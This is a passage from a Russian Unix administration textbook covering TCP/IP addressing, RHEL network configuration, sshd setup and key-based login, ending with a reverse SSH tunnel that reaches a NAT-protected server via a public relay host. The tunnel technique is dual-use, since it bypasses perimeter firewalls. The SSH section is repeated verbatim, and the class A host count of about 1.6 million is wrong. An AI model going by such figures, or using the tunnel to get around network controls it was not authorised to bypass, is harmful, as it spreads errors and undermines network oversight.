Интернет протокол (IP) предназначен для пересылки сетевых пакетов. В этом протоколе единицей пересылаемой информации являются IP датаграммы, состоящие из заголовка и тела сообщения. Протокол управления передачей (TCP) предназначен для установки соединения между компью- терами сети. TCP обеспечивает гарантированную доставку данных между хостами, а также то, что эти данные доставляются на принимающий хост в том же самом порядке, в котором они были отправлены с отправляющего хоста. Протокол пользовательских датаграмм (UDP) – протокол без установки соединения и редко ис- пользуется для передачи важных данных, поскольку в нем отсутствует управление передачей или другие способы гарантированной доставкой данных. UDP обычно используется для передачи дан- ных, которые не чувствительны к потерям пакетов, например, потоковое аудио или видео. Протокол управления сообщениями сети (ICMP) – расширение протокола IP, поддерживающее управляющие и информационные сообщения, а также сообщения об ошибках. ICMP используется

115 ABC Unix, Выпуск 1.0.01

сетевыми утилитами, например, утилитой ping, с помощью которых можно определить доступность сетевого хоста или устройства.

IP-адрес, network, host

Каждый компьютер в TCP/IP сети должен иметь уникальный, 32-битовый IP-адрес. В изолиро- ванной от интернет локальной сети IP адреса можно назначать произвольным образом (хотя это лучше делать руководствуясь таблицей, приводимой ниже). Для обеспечения уникальности адре- сов всемирной сети Internet, они назначаются централизовано специальным всемирным центром Network Information Center (NIC). Для удобства чтения, IP-адрес записывают с помощью четырех 8-битовых чисел (octets). Пример: IP-адрес 0x954C0C04, записывается как 149.76.12.4.

Классы сетей

По размеру (количеству компьютеров) сети разбиваются на классы: Класс Описание A включает сети от 1.0.0.0 до 127.0.0.0. Сетевой адрес содержится в первом octet, что предусматривает 24-разрядный адрес компьютера в сети приблизительно из 1.6 миллиона хостов. B содержит сети от 128.0.0.0 до 191.255.0.0. Сетевой адрес находится в первых двух octets. Это предполагает 16320 подсетей с 65024 компьютерами в каждой. C включает диапазон сетей от 192.0.0.0 до 223.255.255.0. Адрес сети содержится в первых трех octets. Это предполагает почти 2 миллиона подсетей по 254 компьютера в каждой. D,E,F адреса в диапазоне от 224.0.0.0 до 254.0.0.0 являются экспериментальными или зарезервированы для будущего использования. Например, этот диапазон использует сервис IP Multicast, который передает данные одного компьютера сразу на несколько компьютеров. Пример: Адрес 149.76.12.4 относится к хосту 12.4 в сети 149.76.0.0 класса B.

Особые адреса и диапазоны адресов

Адрес с octets равными 0 и 255 зарезервированы для специальных целей. Адрес, в котором все биты хост-части выставлены в 0, относится ко всей сети, а адрес, где все биты хост-части выставлены в 1, назван broadcast address (широковещательным адресом). Пример: Адрес 149.76.255.255 относится ко всем компьютерам сети 149.76.0.0. Некоторые диапазоны адресов каждого из сетевых классов зарезервированы для использования в локальных сетях изолированных от Internet. Класс Диапазон для локальной сети A от 10.0.0.0 до 10.255.255.255 B от 172.16.0.0 до 172.31.0.0 C от 192.168.0.0 до 192.168.255.0 Имеются еще два зарезервированных адреса: 0.0.0.0 и 127.0.0.0. Первый назван default route (путь по умолчанию), последний loopback address (кольцевой адрес). default route используется при марш- рутизации IP-пакетов. Сеть 127.0.0.0 предназначена для работы IP сети внутри компьютера. Адрес 127.0.0.1 назначается физически несуществующему сетевому интерфейсу lo (loopback). Его наличие позволяет использо- вать сетевое программное обеспечение без использования реальной сети.

116 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Подсети

IP-адрес компьютера разбивается на две части: • старшие разряды считаются адресом сети (network), • младшие разряды - адресом компьютера (хоста, host). Такое деление IP-адреса разбивает все множество компьютеров на подсети (subnetwork) - компью- теры с одинаковыми адресами сети. Понятие подсети рекурсивно, поскольку любая подсеть может состоять из более мелких подсетей вплоть до самых маленьких физических сетей Ethernet.

Маска подсети

32-битная поразрядная маска, которая определяет сколько старших разрядов IP-адреса представ- ляют собой адрес сети, называется маской подсети или netmask. По умолчанию маска подсети определяется классом сети: Класс Маска подсети A 11111111 00000000 00000000 00000000 (255.0.0.0) B 11111111 11111111 00000000 00000000 (255.255.0.0) C 11111111 11111111 11111111 00000000 (255.255.255.0) Пример: Для адреса 149.76.12.4 маска подсети - 255.255.0.0, если маска не задается явным способом. Маску подсети можно изменить при настройке сетевого интерфейса

Маршрутизация

IP маршрутизация (routing) - это способы определения путей доставки данных в сети TCP/IP. Глобальная сеть Inetrnet состоит из множества подсетей, каждая из которых самостоятельно ре- шает задачу маршрутизации внутри себя. Это означает, что как только пакет доставлен любому хосту подсети, дальнейшая обработка пакета выполняется исключительно данной подсетью. Таким образом, задача маршрутизации между компьютерами сводится к задаче маршрутизации между подсетями. Для управления передачей сетевых пакетов от отправителя к получателю, через промежуточные сетевые узлы, именуемые маршрутизаторами (routers), используется набор таблиц маршрутизации (routing tables). Есть две основные формы маршрутизации: • статическая (Static Routing), • динамическая (Dynamic Routing). Статическая маршрутизация подразумевает ручное добавление IP маршрутов в таблицу маршру- тизации, обычно это выполняется с помощью команды route. Статическая маршрутизация име- ет преимущества над динамической, такие как: простота реализации, предсказуемость (таблицы маршрутизации рассчитываются заранее, следовательно используемые маршруты остаются посто- янными), а также малая нагрузка на другие маршрутизаторы и сетевые соединения. Однако, ста- тическая маршрутизация применима только для небольших сетей. Динамическая маршрутизация используется в больших сетях со множеством возможных IP марш- рутов от отправителя к получателю и использует специальные протоколы маршрутизации, такие как протокол маршрутной информации (Router Information Protocol, RIP), который поддерживает автоматические изменения в таблицах маршрутизации, что делает возможным саму динамическую маршрутизацию. Динамический роутинг имеет несколько преимуществ, в числе которых масшта- бируемость и возможность адаптации к сбоям и ошибкам на маршрутах доставки данных.

2.1. Администрирование вычислительных сетей 117 ABC Unix, Выпуск 1.0.01

Преобразование адресов

ARP (Address Resolution Protocol) протокол преобразования IP адреса в аппаратный адрес сетевого устройства. RARP (Reverse Address Resolution Protocol) протокол обратного преобразования аппаратного адре- са в IP адрес. Наряду с протоколом BOOTP он служит, для присвоения IP адреса тонким клиентам загружающимся по сети. Для преобразования IP адреса в аппаратный адрес используется механизм Ethernet сетей под на- званием broadcasting с помощью которого пакеты адресуются всем компьютерам сети одновре- менно. Служба ARP формирует пакет, который содержит запрос IP-адреса. Каждый компьютер, получивший запрос, сравнивает его содержимое с собственным IP-адресом и, если он совпадает с указанным в запросе, возвращает запрашивающему свой аппаратный адрес. Аппаратный адрес Ethernet сохраняется в кэше ARP так, чтобы не делать запрос снова, когда в следующий раз потребуется послать пакет рассматриваемому компьютеру. Кэш службы ARP периодически сбрасывается, чтобы вызвать повторный запрос IP-адреса.

Основные параметры TCP/IP

Настройка протокола TCP/IP состоит из установки нескольких параметров, которые должны быть указаны в соответствующих файлах конфигураций, или получены с помощью дополнительной службы – DHCP (сервер протоколов динамической настройки хостов). Основные параметры TCP/IP сети приведены ниже: • IP адрес - уникальный идентификатор сетевого интерфейса, представленный в виде четырех десятичных чисел в диапазоне от 0 до 255, разделённых точками. Каждое из четырех чисел представляет 8 бит адреса, полная длина которого 32 бита. Этот формат получил название - четырехкомпонентная система обозначений адресов с точками (dotted quad notation). • Маска сети (Netmask) - битовая маска, разделяющая IP-адреса на две части: IP адрес сети и IP адрес подсети. Например, для сети класса C, стандартная маска сети состоит из 24 единиц и 8 нулей (11111111.11111111.11111111.00000000), что в четырехкомпонентной системе обозначений эквивалентно 255.255.255.0. Данная маска фиксирует в сети класса C первые три байта IP адреса, оставшийся байт IP адреса используется для обозначения хостов в подсети. • Адрес сети (Network Address) включает в себя сетевую часть IP адреса. Например, хост 12.128.1.2 в сети класса А будет использовать 12.0.0.0 в качестве адреса сети. Хосты се- ти использующие стандартные закрытые и не маршрутизируемые IP адреса, подобные 192.168.1.100, будут, в свою очередь, использовать в качестве адреса сети 192.168.1.0, которая определяет первые три байта 192.168.1 сети класса C и нуль (0) для всех возможных хостов в сети. • Широковещательный адрес (Broadcast Address) определяет все хосты заданной сети. Стан- дартным общим широковещательным адресом для IP сетей является 255.255.255.255, однако этот адрес не может быть использован для передачи широковещательных сообщений всем хо- стам сети Интернет, так как маршрутизаторы блокируют данный адрес. Более приемлем ши- роковещательный адрес соответствующий конкретной подсети. Например, для популярной за- крытой сети класса C, 192.168.1.0, широковещательным адресом является 192.168.1.255. Ши- роковещательные сообщения обычно рассылаются сетевыми протоколами такими, как прото- кол разрешения адресов (Address Resolution Protocol или ARP) и информационный протокол маршрутизации (Routing Information Protocol, RIP). • Адрес шлюза (Gateway Address) - это IP адрес устройства, через которое доступны ком- пьютеры других подсетей. Во многих случаях адрес шлюза будет совпадать с адресом марш- рутизатора той же сети, который перенаправляет трафик данной сети в другие подсети. Без указания правильного адреса шлюза компьютер не сможет связаться ни с одним хостом, на- ходящимся за пределами локальной сети.

118 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

• Адрес сервера имен (Nameserver Address) - IP адрес службы DNS (доменных имен), кото- рая преобразует имена хостов сети в IP адреса. Допускается использование трех адресов. В большинстве случаев эти адреса предоставляются провайдером сетевых услуг. Также суще- ствуют свободные и открыто доступные сервера имен, такие как сервера Level3 (Verizon) с IP адресами от 4.2.2.1 до 4.2.2.6.

Первоначальная настройка сети

Настройки сетевых устройств хранятся в нескольких файлах, которые можно редактировать лю- бым редактором текстов. Даже если для настройки сети используется графический интерфейс параметры сети все равно сохраняются в этих файлах.

Файл параметров сети

Общие для всех сетевых интерфейсов параметры хранятся в файле /etc/sysconfig/network. Пример файла:

NETWORKING=yes HOSTNAME=lsrv.example.com GATEWAY=172.16.27.2

Параметры в этом файле имеют следующие значения:

NETWORKING= “yes’ (включить поддержку сети и сетевых сервисов) или “no” (отключает поддержку сети и сетевых сервисов); HOSTNAME= полное сетевое имя компьютера (FQDN); GATEWAY= IP адрес маршрутизатора (если есть).

Изменения вступают в силу после перезагрузки сетевого сервиса:

/etc/rc.d/init.d/network restart

Файлы параметров сетевых интерфейсов

Обычно Еthernet интерфейсы именуются как eth0, eth1 и т.д., модемные интерфейсы - ppp0, ppp1 и т.д., локальный интерфейс - lo (127.0.0.1), туннель в сети IP версии 6 - sit0, FDDI - fddi0, бес- проводная сеть - wlan0. Имена интерфейсов не имеют прямого соответствия с именами устройств в каталоге /dev. Каждое Ethernet устройство имеет один MAC адрес и один или несколько IP адресов. Параметры сетевых интерфейсов находятся в каталоге:

/etc/sysconfig/network-scripts

Каждому интерфейсу соответствует файл вида: ifcfg-<имя интерфейса>

Ниже приведен пример файла:

/etc/sysconfig/network-scripts/ifcfg-eth0

с параметрами для первого сетевого интерфейса:

2.1. Администрирование вычислительных сетей 119 ABC Unix, Выпуск 1.0.01

DEVICE=eth0 ONBOOT=yes TYPE=Ethernet IPADDR=10.10.10.254 NETMASK=255.255.255.0 NETWORK=10.10.10.0 BROADCAST=10.10.10.255 BOOTPROTO=none USERCTL=no IPV6INIT=no

Для изменения параметров сетевого интерфейса достаточно отредактировать соответствующий файл, а для создания нового сетевого интерфейса нужно создать новый файл с соответствующим именем и параметрами. Основные параметры сетевого интерфейса: DEVICE= имя сетевого устройства; IPADDR= IP адрес; NETMASK= сетевая маска; NETWORK= адрес сети; BROADCAST= широковещательный адрес; Дополнительные параметры сетевого интерфейса: ONBOOT= включать (yes) или нет (no) управление сетевым интерфейсом с помощью службы nework; BOOTPROTO= протокол времени загрузки:none (не использовать), bootp, dhcp; USERCTL= если no, то только пользователь root может управлять интерфейсом, если yes - любой пользователь.

Примечание: Значение параметр ONBOOT=yes приводит к автоматической активации сетевого интерфейса сервисом network при загрузке системы, значение ONBOOT=no не приводит к автома- тической активации сетевого интерфейса сервисом network при загрузке системы.

Для того, чтобы изменения вступили в силу необходимо перезапустить сетевой сервис:

/etc/rc.d/init.d/network restart

Установка и первоначальная настройка SSH

SSH (англ. Secure Shell — «безопасная оболочка») — сетевой протокол прикладного уровня, поз- воляющий производить удалённое управление операционной системой и туннелирование TCP- соединений (например, для передачи файлов). В отличие от Telnet и rlogin шифрует весь трафик, включая передаваемые пароли. В большинстве дистрибутивов GNU/Linux сервис sshd (SSH-сервер) устанавливается и запускается по умолчанию. Если сервис не установлен, устанавливаем:

yum install openssh-server

Включаем и запускаем: • RHEL 6:

chkconfig sshd on service sshd start

• RHEL 7:

120 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

systemctl enable sshd systemctl start sshd

Для того, чтобы можно было удаленно управлять другими узломи и копировать файлы с компью- тера на компьютер по протоколу SSH нужно дополнительно установить пакет с SSH-клиентом: yum install openssh-clients

Основной файл настроек сервера:

/etc/ssh/sshd_config

клиента:

/etc/ssh/ssh_config

Персональные настройки пользователя храняться в файле домашнего каталога:

~/.ssh/config

Отключение поддержки протокола IPv6

По умолчанию сервис sshd принимает запросы как по протоколу IPv4 так и по протоколу IPv6. Отключить поддержку IPv6 можно в основоном файле настроек /etc/ssh/sshd_config:

AddressFamily inet

Ограничение адреса и порта для приема подключений

По умолчанию строки для настроек адреса и порта в файле /etc/ssh/sshd_config закомментиро- ваны:

#Port 22 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress ::

что соответствует приему подключений с любого интерфейса по порту 22. Для ограничиения адреса подключения их нужно изменить примерно так:

# ListenAddress 0.0.0.0 ListenAddress 192.168.1.2

где предполагается, что адрес 192.168.1.2 соответствует одному из сетевых интерфейсов узла. Дополнительно через двоеточие можно указать и номер порта (по умолчанию 22):

# ListenAddress 0.0.0.0 ListenAddress 192.168.1.2:6666

Для смены номера порта по умолчанию нужно изменить параметр Port:

#Port 22 Port 6666

2.1. Администрирование вычислительных сетей 121 ABC Unix, Выпуск 1.0.01

Настройка доступа суперпользователя

Доступ суперпользователю определяется параметром PermitRootLogin. Для повышения безопас- ности лучше отключить доступ суперпользователю по умолчанию:

PermitRootLogin no

Для выполнения задач, требующих привилегий администратора, приходится заходить под обыч- ным пользователем и использовать su или sudo. Разрешить доступ суперпользователю с отдельных IP адресов можно с помощью директивы Match. В качестве аргумента ей передается критерий отбо- ра (User, Group, Host, Address), и параметр для критерия отбора. Пример разрешения подключения root только с localhost и из доверенной подсети 192.168.5.0/24:

PermitRootLogin no Match Host 192.168.5.*,127.0.0.1 PermitRootLogin yes

Удаленный запуск приложений с графическим интерфейсом

Сервис sshd может транслировать (перенаправлять) графический вывода (X11 forwarding) с од- ного узла на другой. Для разрешения такой трансляции должны быть установлены два параметра в настройках /etc/ssh/sshd_config:

AddressFamily inet X11Forwarding yes

Если трансляция графического вывода разрешена на узле server то на нем можно удаленно за- пускать приложения с графическим интерфейсом от имени пользователя user командой:

ssh-X user@server<ПРИЛОЖЕНИЕ>

Управление ключами

Ключи узла

Во время установки системыы генерируются несколько типов ключей (rsa, ecdsa, ed25519) для сервиса sshd (сервера SSH). Каждый из ключей хранится в двух файлах: • rsa:

/etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_rsa_key.pub

• ecdsa:

/etc/ssh/ssh_host_ecdsa_key /etc/ssh/ssh_host_ecdsa_key.pub

• ed25519:

/etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_ed25519_key.pub

Эти ключи однозначно идентифицируют узел при SSH соединении. По умолчанию используется ключ rsa, для использования других типов ключей в командах ssh нужно использовать специаль- ную опцию. При первом соединении открытая часть ключа удаленного узла (сервера) сохраняется в файле /.ssh/known_hosts домашней папки ~ локального пользователя (клиента).

122 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

ЛОКАЛЬНЫЙ УЗЕЛ УДАЛЕННЫЙ УЗЕЛ (КЛИЕНТ SSH) (СЕРВЕР SSH) +------++------+ |||| |~/.ssh/know_hosts<---->/etc/ssh/ssh_host_rsa_key.pub| |||/etc/ssh/ssh_host_rsa_key| |||| +------++------+

При первом соединении утилита ssh (SSH-клиент) запрашивает разрешение на копирование от- крытой части ключа с сервера. На запрос нужно ответить набором слова yes полностью (ввода y недостаточно). При каждом последующем соединении сохраненная на клиенте открытая часть ключа сверяется с закрытой частью кляча на сервере. Если сохраненная локально копия ключа не соответствует за- крытой части ключа соединение либо отклоняется либо выдается предупреждение и запрашивается подтверждение на соединение. Несоответствие ключей может возникнуть в одном из двух случаев: • сервер переустановлен (изменилась закрытаяя часть ключа серевера); • произошла подмена сервера (IP адресу соответствует сервер с другой закрытой частью клю- ча). Для того, чтобы не перенастрайвать старую авторизацию по ключам, при переустановке сервера можно использовать старые ключи. И наоборот, можно сгенирировать новые ключи запретив тем самым авторизацию по старым ключам. Сохраненные открытые части ключей узлов можно удалять командой: ssh-keygen-R<ИМЯ|IP УДАЛЕННОГО УЗЛА>

Удаление ключа по IP-адресу может потребоваться, если подключение к серверу осуществлялось с помощью IP адреса.

Ключи клиента

На удаленном узле SSH (сервере) можно авторизоваться по ключу клиента. В этом случае для авторизации используются два ключа: ключ удаленного узла (сервера) и ключ клиента соединения.

ЛОКАЛЬНЫЙ УЗЕЛ УДАЛЕННЫЙ УЗЕЛ (КЛИЕНТ SSH) (СЕРВЕР SSH) +------++------+ |||| |~/.ssh/know_hosts<---->/etc/ssh/ssh_host_rsa_key.pub| |||/etc/ssh/ssh_host_rsa_key| |||| |~/.ssh/id_rsa.pub<---->~/.ssh/authorized_keys| |~/.ssh/id_rsa||| +------++------+

Так же как и ключ сервера, ключ клиента разбит на две части: открытую (public) и закрытую (private). Открытая часть ключа может передаваться на удаленный узел, закрытая часть ключа должна храниться только на локальном узле. Главное преимущество авторизации по ключу - ключ нельзя «подсмотреть», поскольку закрытая часть ключа не передаётся между клиентом и сервером соединения. Ключ клиента генерируется командой: ssh-keygen

2.1. Администрирование вычислительных сетей 123 ABC Unix, Выпуск 1.0.01

Ключ можно закрыть паролем. С помощью специального агента SSH пароль ключа может сохра- няться заданное время. В течении этого времени будет работать безпарольная авторизация.

Предупреждение: Восстановить забытый пароль невозможно.

Сменить пароль на ключ можно с помощью команды: ssh-keygen-p

Примечание: Для настройки авторизации только по ключу (без пароля) пароль нужно оставить пустым.

Ключ клиента хранится в двух файлах: • открытая (публичная) часть ключа:

~/.ssh/id_rsa.pub

• закрытая (приватная) часть ключа:

~/.ssh/id_rsa

Открытая часть ключа состоит из трех полей:

<ТИП КЛЮЧА><КЛЮЧ> user@machine

Последнее поле в ключе user@machine является комментарием и не влияет на авторизацию.

Авторизация по ключу клиента без пароля

Для того чтобы подключаться к удаленному узлу без ввода пароля нужно: • сгенерировать клиентский ключ с пустым паролем; • добавить открытую часть ключа клиента в файл ~/.ssh/authorized_keys на удаленном узле.

Примечание: Здесь ~ - это домашняя папка пользователя на удаленном узле от имени каторого будет осуществляться вход на этот узел.

Для копирования ключа можно использовать специальную команду: ssh-copy-id-p NNNN user@server

Если в системе нет утилиты ssh-copy-id (MacOS), то можно выполнить оду из следующих команд: • каталог ~/.ssh и файл authorized_keys существуют: cat~/.ssh/id_rsa.pub|\ ssh-p NNNN user@server 'cat >> ~/.ssh/authorized_keys'

• каталог ~/.ssh и файл authorized_keys не существует: cat~/.ssh/id_rsa.pub|\ ssh-p NNNN user@server 'umask 077; cat > ~/.ssh/authorized_keys'

• ни каталог ~/.ssh ни файл authorized_keys не существуют:

124 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

cat~/.ssh/id_rsa.pub|\ ssh-p NNNN user@server 'mkdir -m 700 ~/.ssh; umask 077; cat > .ssh/authorized_keys'

Примечание: Права на файл ~/.ssh/authorized_keys должны быть равны 0600, иначе автори- зация по ключу работать не будет.

Все приведенные команды копируют ключ с локального узла на удаленный узел server для поль- зователя user. Номер порта -p NNNN можно не указывать если он стандартный (22).

Установка и первоначальная настройка SSH

SSH (англ. Secure Shell — «безопасная оболочка») — сетевой протокол прикладного уровня, поз- воляющий производить удалённое управление операционной системой и туннелирование TCP- соединений (например, для передачи файлов). В отличие от Telnet и rlogin шифрует весь трафик, включая передаваемые пароли. В большинстве дистрибутивов GNU/Linux сервис sshd (SSH-сервер) устанавливается и запускается по умолчанию. Если сервис не установлен, устанавливаем: yum install openssh-server

Включаем и запускаем: • RHEL 6:

chkconfig sshd on service sshd start

• RHEL 7:

systemctl enable sshd systemctl start sshd

Для того, чтобы можно было удаленно управлять другими узломи и копировать файлы с компью- тера на компьютер по протоколу SSH нужно дополнительно установить пакет с SSH-клиентом: yum install openssh-clients

Основной файл настроек сервера:

/etc/ssh/sshd_config

клиента:

/etc/ssh/ssh_config

Персональные настройки пользователя храняться в файле домашнего каталога:

~/.ssh/config

Отключение поддержки протокола IPv6

По умолчанию сервис sshd принимает запросы как по протоколу IPv4 так и по протоколу IPv6. Отключить поддержку IPv6 можно в основоном файле настроек /etc/ssh/sshd_config:

AddressFamily inet

2.1. Администрирование вычислительных сетей 125 ABC Unix, Выпуск 1.0.01

Ограничение адреса и порта для приема подключений

По умолчанию строки для настроек адреса и порта в файле /etc/ssh/sshd_config закомментиро- ваны:

#Port 22 #AddressFamily any #ListenAddress 0.0.0.0 #ListenAddress ::

что соответствует приему подключений с любого интерфейса по порту 22. Для ограничиения адреса подключения их нужно изменить примерно так:

# ListenAddress 0.0.0.0 ListenAddress 192.168.1.2

где предполагается, что адрес 192.168.1.2 соответствует одному из сетевых интерфейсов узла. Дополнительно через двоеточие можно указать и номер порта (по умолчанию 22):

# ListenAddress 0.0.0.0 ListenAddress 192.168.1.2:6666

Для смены номера порта по умолчанию нужно изменить параметр Port:

#Port 22 Port 6666

Настройка доступа суперпользователя

Доступ суперпользователю определяется параметром PermitRootLogin. Для повышения безопас- ности лучше отключить доступ суперпользователю по умолчанию:

PermitRootLogin no

Для выполнения задач, требующих привилегий администратора, приходится заходить под обыч- ным пользователем и использовать su или sudo. Разрешить доступ суперпользователю с отдельных IP адресов можно с помощью директивы Match. В качестве аргумента ей передается критерий отбо- ра (User, Group, Host, Address), и параметр для критерия отбора. Пример разрешения подключения root только с localhost и из доверенной подсети 192.168.5.0/24:

PermitRootLogin no Match Host 192.168.5.*,127.0.0.1 PermitRootLogin yes

Удаленный запуск приложений с графическим интерфейсом

Сервис sshd может транслировать (перенаправлять) графический вывода (X11 forwarding) с од- ного узла на другой. Для разрешения такой трансляции должны быть установлены два параметра в настройках /etc/ssh/sshd_config:

AddressFamily inet X11Forwarding yes

Если трансляция графического вывода разрешена на узле server то на нем можно удаленно за- пускать приложения с графическим интерфейсом от имени пользователя user командой:

126 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

ssh-X user@server<ПРИЛОЖЕНИЕ>

Управление ключами

Ключи узла

Во время установки системыы генерируются несколько типов ключей (rsa, ecdsa, ed25519) для сервиса sshd (сервера SSH). Каждый из ключей хранится в двух файлах: • rsa:

/etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_rsa_key.pub

• ecdsa:

/etc/ssh/ssh_host_ecdsa_key /etc/ssh/ssh_host_ecdsa_key.pub

• ed25519:

/etc/ssh/ssh_host_ed25519_key /etc/ssh/ssh_host_ed25519_key.pub

Эти ключи однозначно идентифицируют узел при SSH соединении. По умолчанию используется ключ rsa, для использования других типов ключей в командах ssh нужно использовать специаль- ную опцию. При первом соединении открытая часть ключа удаленного узла (сервера) сохраняется в файле /.ssh/known_hosts домашней папки ~ локального пользователя (клиента).

ЛОКАЛЬНЫЙ УЗЕЛ УДАЛЕННЫЙ УЗЕЛ (КЛИЕНТ SSH) (СЕРВЕР SSH) +------++------+ |||| |~/.ssh/know_hosts<---->/etc/ssh/ssh_host_rsa_key.pub| |||/etc/ssh/ssh_host_rsa_key| |||| +------++------+

При первом соединении утилита ssh (SSH-клиент) запрашивает разрешение на копирование от- крытой части ключа с сервера. На запрос нужно ответить набором слова yes полностью (ввода y недостаточно). При каждом последующем соединении сохраненная на клиенте открытая часть ключа сверяется с закрытой частью кляча на сервере. Если сохраненная локально копия ключа не соответствует за- крытой части ключа соединение либо отклоняется либо выдается предупреждение и запрашивается подтверждение на соединение. Несоответствие ключей может возникнуть в одном из двух случаев: • сервер переустановлен (изменилась закрытаяя часть ключа серевера); • произошла подмена сервера (IP адресу соответствует сервер с другой закрытой частью клю- ча). Для того, чтобы не перенастрайвать старую авторизацию по ключам, при переустановке сервера можно использовать старые ключи. И наоборот, можно сгенирировать новые ключи запретив тем самым авторизацию по старым ключам. Сохраненные открытые части ключей узлов можно удалять командой:

2.1. Администрирование вычислительных сетей 127 ABC Unix, Выпуск 1.0.01

ssh-keygen-R<ИМЯ|IP УДАЛЕННОГО УЗЛА>

Удаление ключа по IP-адресу может потребоваться, если подключение к серверу осуществлялось с помощью IP адреса.

Ключи клиента

На удаленном узле SSH (сервере) можно авторизоваться по ключу клиента. В этом случае для авторизации используются два ключа: ключ удаленного узла (сервера) и ключ клиента соединения.

ЛОКАЛЬНЫЙ УЗЕЛ УДАЛЕННЫЙ УЗЕЛ (КЛИЕНТ SSH) (СЕРВЕР SSH) +------++------+ |||| |~/.ssh/know_hosts<---->/etc/ssh/ssh_host_rsa_key.pub| |||/etc/ssh/ssh_host_rsa_key| |||| |~/.ssh/id_rsa.pub<---->~/.ssh/authorized_keys| |~/.ssh/id_rsa||| +------++------+

Так же как и ключ сервера, ключ клиента разбит на две части: открытую (public) и закрытую (private). Открытая часть ключа может передаваться на удаленный узел, закрытая часть ключа должна храниться только на локальном узле. Главное преимущество авторизации по ключу - ключ нельзя «подсмотреть», поскольку закрытая часть ключа не передаётся между клиентом и сервером соединения. Ключ клиента генерируется командой: ssh-keygen

Ключ можно закрыть паролем. С помощью специального агента SSH пароль ключа может сохра- няться заданное время. В течении этого времени будет работать безпарольная авторизация.

Предупреждение: Восстановить забытый пароль невозможно.

Сменить пароль на ключ можно с помощью команды: ssh-keygen-p

Примечание: Для настройки авторизации только по ключу (без пароля) пароль нужно оставить пустым.

Ключ клиента хранится в двух файлах: • открытая (публичная) часть ключа:

~/.ssh/id_rsa.pub

• закрытая (приватная) часть ключа:

~/.ssh/id_rsa

Открытая часть ключа состоит из трех полей:

<ТИП КЛЮЧА><КЛЮЧ> user@machine

Последнее поле в ключе user@machine является комментарием и не влияет на авторизацию.

128 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

Авторизация по ключу клиента без пароля

Для того чтобы подключаться к удаленному узлу без ввода пароля нужно: • сгенерировать клиентский ключ с пустым паролем; • добавить открытую часть ключа клиента в файл ~/.ssh/authorized_keys на удаленном узле.

Примечание: Здесь ~ - это домашняя папка пользователя на удаленном узле от имени каторого будет осуществляться вход на этот узел.

Для копирования ключа можно использовать специальную команду: ssh-copy-id-p NNNN user@server

Если в системе нет утилиты ssh-copy-id (MacOS), то можно выполнить оду из следующих команд: • каталог ~/.ssh и файл authorized_keys существуют: cat~/.ssh/id_rsa.pub|\ ssh-p NNNN user@server 'cat >> ~/.ssh/authorized_keys'

• каталог ~/.ssh и файл authorized_keys не существует: cat~/.ssh/id_rsa.pub|\ ssh-p NNNN user@server 'umask 077; cat > ~/.ssh/authorized_keys'

• ни каталог ~/.ssh ни файл authorized_keys не существуют: cat~/.ssh/id_rsa.pub|\ ssh-p NNNN user@server 'mkdir -m 700 ~/.ssh; umask 077; cat > .ssh/authorized_keys'

Примечание: Права на файл ~/.ssh/authorized_keys должны быть равны 0600, иначе автори- зация по ключу работать не будет.

Все приведенные команды копируют ключ с локального узла на удаленный узел server для поль- зователя user. Номер порта -p NNNN можно не указывать если он стандартный (22).

Построение обратных туннелей на базе SSH

Реверсное туннелирование SSH

Технология реверсного туннелирования использует вспомогательный узел пересылкия (relay host). В качестве узла пересылки можно использовать компьютер: • с общедоступным IP адресом, • находящийся за пределами защищенной локальной сети к которому можно подключиться с помощью клиента SSH. Если установить туннель SSH от узла локальной сети до узела пересылки, то благодаря тому, что SSH туннель работает в обе стороны становиться возможным установить соединение в обратном направлении - от узла пересылки к узлу локальной сети. Именно поэтому такое туннелирование называется реверсным. Возможность реверсного туннелирования определяется только возможностью подключения из ло- кальной сети к узлу пересылки и не зависит от того, используется ли для защиты локальной сети сетевой экран с трансляцией адресов (NAT) или нет.

2.1. Администрирование вычислительных сетей 129 ABC Unix, Выпуск 1.0.01

Сервер пересылки ------client<--->| relay||| |/\||| |||||NAT| |\/||| |localhost|<=====> server |||| ------

------ssh сединение ======ssh туннель

Механизм обратной передачи пакетов от relay-сервера получил название “обратный туннель”. В ка- честве сервера пересылки (relay-сервера) можно использовать любой компьютер, доступный по SSH с “белым” IP адресом. С помощью relay-сервера можно подключиться к компьютеру, находящемуся под защитой маршрутизатора с NAT.

Настройка обратного туннеля

Исходные данные: • server - сервера защищенный маршрутизатором с NAT (или просто сервер за NAT); • relay - общедоступный сервер пересылки со статическим общедоступным (“белым”) IP адре- сом relay_IP; • client - некоторый компьютер с доступом в интернет. На сервере server открываем соединение к серверу relay: server ~$ ssh -p relay_PRT -f -N -R 10022:localhost:22 relay_user@relay_IP

Здесь: • -p relay_PRT - номер порта (если он нестандартный) SSH на сервере relay. • -f запустить SSH в фоновом режиме сразу, как только будет выполнена проверка подлинности на сервере SSH. • -N не выполнять на удаленном сервере SSH какие-либо команды, просто перенаправлять пор- ты. • -R 10022:localhost:22 ключ, настраивающий реверсный туннель. Он перенаправляет тра- фик с порта 10022 сервера relay на порт 22 на сервере server. • 10022 - любой свободный портом на сервере relay (порт не занятый другими сервисами). Правильно набранная команда выполняется “молча”. Для проверки можно на сервере relay выполнить команду: relay~$ sudo netstat -nap | grep 10022

чтобы убедиться, что 127.0.0.1:10022 привязан к сервису sshd. Если команда выдаст что-то вроде: tcp00 127.0.0.1:10022 0.0.0.0:* LISTEN-

то обратный туннель настроен правильно. Теперь с сервер relay можно получите доступ к серверу server следующим образом:

130 Глава 2. Администрирование вычислительных сетей ABC Unix, Выпуск 1.0.01

relay~$ ssh -p 10022 server_user@localhost

Примечание: логин/пароль, который нужно набрать для localhost, должен быть для сервера server, а не для сервера relay, поскольку порт 10022 для localhost соединен туннелем с сервер server.

Прямое подключение к серверу защищенному сетевым экраном

